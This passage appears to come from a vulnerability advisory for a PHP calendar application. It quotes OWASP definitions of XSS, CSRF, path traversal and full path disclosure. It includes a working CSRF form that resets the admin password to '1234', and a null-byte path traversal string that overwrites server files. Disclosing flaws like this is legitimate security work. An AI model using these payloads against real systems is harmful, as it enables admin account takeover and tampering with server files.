  ##[Cross Site Scripting]*
  (Cross-Site Scripting attacks are a type of injection problem, in which
  malicious scripts are injected into the otherwise benign and trusted web
  sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web
  application to send malicious code, generally in the form of a browser side
  script, to a different end user. Flaws that allow these attacks to succeed
  are quite widespread and occur anywhere a web application uses input from a
  user in the output it generates without validating or encoding it (OWASP))

  ##[Cross Site Request Forgery]*
  (CSRF is an attack which forces an end user to execute unwanted actions on a
  web application in which he/she is currently authenticated. With a little
  help of social engineering (like sending a link via email/chat), an attacker
  may force the users of a web application to execute actions of the
  attacker's choosing. A successful CSRF exploit can compromise end user data
  and operation in case of normal user. If the targeted end user is the
  administrator account, this can compromise the entire web application.)
  (OWASP))

  Change "Admin" Password PoC:
  <form name=user method=post action="http://
  [SERVER]/[DIR]/cl_files/index.php?page=a&name=[CALENDAR_NAME]">
  <input type="hidden" name="page" value="a">
  <input type=hidden value="admin" name=l class=inpt>
  <input type=hidden value="1234" name=p class=inpt>
  <input type=hidden value="1234" name=p2 class=inpt>
  </form>

  ##[Local File Rewriting+Path Traversal with NBP]**
  (A Path Traversal attack aims to access files and directories that are
  stored outside the web root folder. By browsing the application, the
  attacker looks for absolute links to files stored on the web server. By
  manipulating variables that reference files with “dot-dot-slash (../)”
  sequences and its variations, it may be possible to access arbitrary files
  and directories stored on file system, including application source code,
  configuration and critical system files, limited by system operational
  access control. The attacker uses “../” sequences to move up to root
  directory, thus permitting navigation through the file system. (OWASP))
  #
  http://[SERVER]/[DIR]/cl_files/index.php
  "Title:" \..\..\..\..\..\..\1.txt%00
  #
  Will rewrite %HOMEDRIVER%\1.txt file.
  #
  ##[FULL PATH DICSLOSURE]
  (Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the
  path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain
  vulnerabilities, such as using the load_file() (within a SQL Injection)
  query to view the page source, require the attacker to have the full path to
  the file they wish to view. (OWASP))
